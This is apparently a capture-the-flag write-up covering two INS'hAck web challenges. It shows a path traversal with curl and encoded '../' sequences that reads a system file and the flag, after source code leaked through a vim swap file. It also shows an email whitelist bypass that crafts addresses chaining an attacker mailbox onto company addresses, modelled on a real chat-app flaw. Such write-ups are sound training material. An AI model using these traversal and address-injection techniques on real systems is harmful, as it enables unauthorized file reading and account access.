CTF
50 (Easy) - Exploring The Universe - Web
Will you be able to find the flag
in the universe/
?
I've been told that the guy who wrote this nice application called server.py
is a huge fan of nano
(yeah... he knows vim
is better).
Goad: read the file universe/flag
.
Hint: vim
temporary files are .file.ext.swp
So let's try .server.py.swp
: https://exploring-the-universe.ctf.insecurity-insa.fr/.server.py.swp
.
So we are able to read the source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pathlib import Pathfrom mimetypes import guess_typefrom aiohttp import webROOT = Path().resolve() print (ROOT)PUBLIC = ROOT.joinpath('public' ) async def stream_file (request, filepath ): '''Streams a regular file ''' filepath = PUBLIC.joinpath(filepath).resolve() if filepath.is_dir(): return web.Response(headers={'DT' : 'DT_DIR' }) if not filepath.is_file(): raise web.HTTPNotFound(headers={'DT' : 'DT_UNKNOWN' }) try : filepath.relative_to(ROOT) except : raise web.HTTPForbidden(reason="You can't go beyond the universe..." ) mime, encoding = guess_type(str (filepath)) headers = { 'DT' : 'DT_REG' , 'Content-Type' : mime or 'application/octet-stream' , 'Content-Length' : str (filepath.stat().st_size) } if encoding: headers['Content-Encoding' ] = encoding resp = web.StreamResponse(headers=headers) await resp.prepare(request) with filepath.open ('rb' ) as resource: while True : data = resource.read(4096 ) if not data: break await resp.write(data) return resp async def handle_403 (request ): '''Stream 403 HTML file ''' return await stream_file(request, '403.html' ) async def handle_404 (request ): '''Stream 404 HTML file ''' return await stream_file(request, '404.html' ) def create_error_middleware (overrides ): '''Create an error middleware for aiohttp ''' @web.middleware async def error_middleware (request, handler ): '''Handles specific web exceptions based on overrides ''' try : response = await handler(request) override = overrides.get(response.status) if override: return await override(request) return response except web.HTTPException as ex: override = overrides.get(ex.status) if override: return await override(request) raise return error_middleware def setup_error_middlewares (app ): '''Setup error middleware on given application ''' error_middleware = create_error_middleware({ 403 : handle_403, 404 : handle_404 }) app.middlewares.append(error_middleware) async def root (request ): '''Web server root handler ''' path = request.match_info['path' ] if not path: path = 'index.html' path = Path(path) print (f"client requested: {path} " ) return await stream_file(request, path) def app (): app = web.Application() setup_error_middlewares(app) app.add_routes([web.get(r'/{path:.*}' , root)]) web.run_app(app) if __name__ == '__main__' : app()
Looks like the code will allow us some LFI and directory path traversal.
Also we can use a search engine with aiohttp vulnerability
and find that a Snyc report stating that a Directory Traversal vulnerability is Affecting aiohttp package, versions [,0.16.3) .
An un-existing path will return this message:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ curl https://exploring-the-universe.ctf.insecurity-insa.fr/noraj <!doctype html > <html lang ="en" > <head > <meta charset ="utf-8" > <title > Exploring A BlackHole</title > <meta name ="description" content ="Exploring A BlackHole" > <meta name ="author" content ="koromodako" > <link rel ="stylesheet" href ="/css/404.css" > </head > <body > <h1 class ="error" > You fell in a black hole!</h1 > </body > </html >
An unauthorized but existing path will return:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ curl https://exploring-the-universe.ctf.insecurity-insa.fr/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/os-release <!doctype html > <html lang ="en" > <head > <meta charset ="utf-8" > <title > Witnessing Doomsday</title > <meta name ="description" content ="Witnessing Doomsday" > <meta name ="author" content ="koromodako" > <link rel ="stylesheet" href ="/css/403.css" > </head > <body > <h1 class ="error" > You witness the Earth exploding!</h1 > </body > </html >
And an existing and allowed path will be read and returned:
1 2 $ curl https://exploring-the-universe.ctf.insecurity-insa.fr/public/%2e%2e/%2e%2e/universe/flag INSA{3e508f6e93fb2b6de561d5277f2a9b26bc79c5f349c467a91dd12769232c1a29}
240 (Easy) - atchap - Web
This is a message to all ATchap employees. Our new communication software is now in a beta mode. To register, just enter you email address, you'll receive shortly the activation code.
Looks like a big nod to the recent vulnerabilities found in Tchap [1] [2] French secure instant chat app.
So we'll try to exploit the same vulnerability and look for a legitimate email, we can find one at theinshack2019 bottom of the page:
Contact us at firstname.lastname@almosttchap.fr
If giving a un-legitimate email address we get an error: You're not whitelisted or not part of the company..
So from a controlled norajinshack2019@yopmail.com
we can craft:
norajinshack2019@yopmail.com@Maud.Erateur@almosttchap.fr
norajinshack2019@yopmail.com@Guy.Liguili@almosttchap.fr
norajinshack2019@yopmail.com@Samira.Bien@almosttchap.fr
Login with one of those we have a message: Mail sent, check your spam folder
.
Then we received and email from inshack.mail1@gmail.com
containing:
1 2 Here is your flag : INSA{1fd9fa56444a424d} .. Remember to make responsible disclosure ;)